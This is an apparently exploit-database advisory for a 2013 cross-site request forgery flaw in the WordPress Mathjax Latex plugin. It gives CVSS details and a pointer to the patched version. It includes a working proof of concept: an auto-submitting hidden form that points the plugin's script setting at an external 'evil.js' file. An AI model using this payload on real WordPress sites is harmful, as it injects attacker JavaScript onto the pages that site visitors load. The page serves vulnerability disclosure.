Wordpress Mathjax Latex 1.1 Cross-Site Request Forgery Vulnerability

vendor:

Mathjax Latex

by:

Junaid Hussain

7,5

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Mathjax Latex

Affected Version From: 1.1

Affected Version To: 1.2.1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: CentOs 5 - Wordpress Version 3.5

2013

WordPress Mathjax Latex 1.1 Cross-Site Request Forgery Vulnerability

There is no CSRF protection on the mathjax option page. This allows an attacker to specify arbitrary javascript that will be loaded with each post and also loaded onto the homepage of the wordpress blog.

Mitigation:

The Vendor Was notified and a patch was released: Patched Version: http://downloads.wordpress.org/plugin/mathjax-latex.1.2.1.zip See ChangeLog: http://wordpress.org/extend/plugins/mathjax-latex/changelog/

Source

Exploit-DB raw data:

# Title: Wordpress Mathjax Latex 1.1 Cross-Site Request Forgery Vulnerability
# Release Date: 25/03/13
# Author: Junaid Hussain [ illSecure Research Group ] 
# Contact: illSecResearchGroup@Gmail.com | Website: illSecure.com
# Software Link: http://downloads.wordpress.org/plugin/mathjax-latex.1.1.zip
# Tested on CentOs 5 - Wordpress Version 3.5
----------------------------------------------------------------------------------------------------------
There is no CSRF protection on the mathjax option page. This allows an attacker to specify arbitrary 
javascript that will be loaded with each post and also loaded onto the homepage of the wordpress blog
----------------------------------------------------------------------------------------------------------
//##### CSRF - Proof Of Concept:
<html>
<body onload="javascript:document.forms[0].submit()">
<form id="mathjaxlatex" name="mathjaxlatex" action="http://[DOMAINNAME]/wp-admin/options-general.php?page=mathjax-latex.php" method='POST'>
<input type="hidden" name="mathjax_hidden" style="display:none;" value="Y">
<input type="checkbox" name="force_load" style="display:none;" value="1"CHECKED/>
<input type="checkbox" name="default_disabled" style="display:none;" value="1"CHECKED/>
<input type='textbox' name='mathjax_location' class='regular-text code' value='http://illsecure.com/code/evil.js' style="display:none;"/>       
</form>
</html>
----------------------------------------------------------------------------------------------------------
//##### Patch:
The Vendor Was notified and a patch was released:
--- Patched Version: http://downloads.wordpress.org/plugin/mathjax-latex.1.2.1.zip
--- See ChangeLog: http://wordpress.org/extend/plugins/mathjax-latex/changelog/
----------------------------------------------------------------------------------------------------------
Contact: illSecResearchGroup@gmail.com 
- Junaid Hussain
- http://illsecure.com
----------------------------------------------------------------------------------------------------------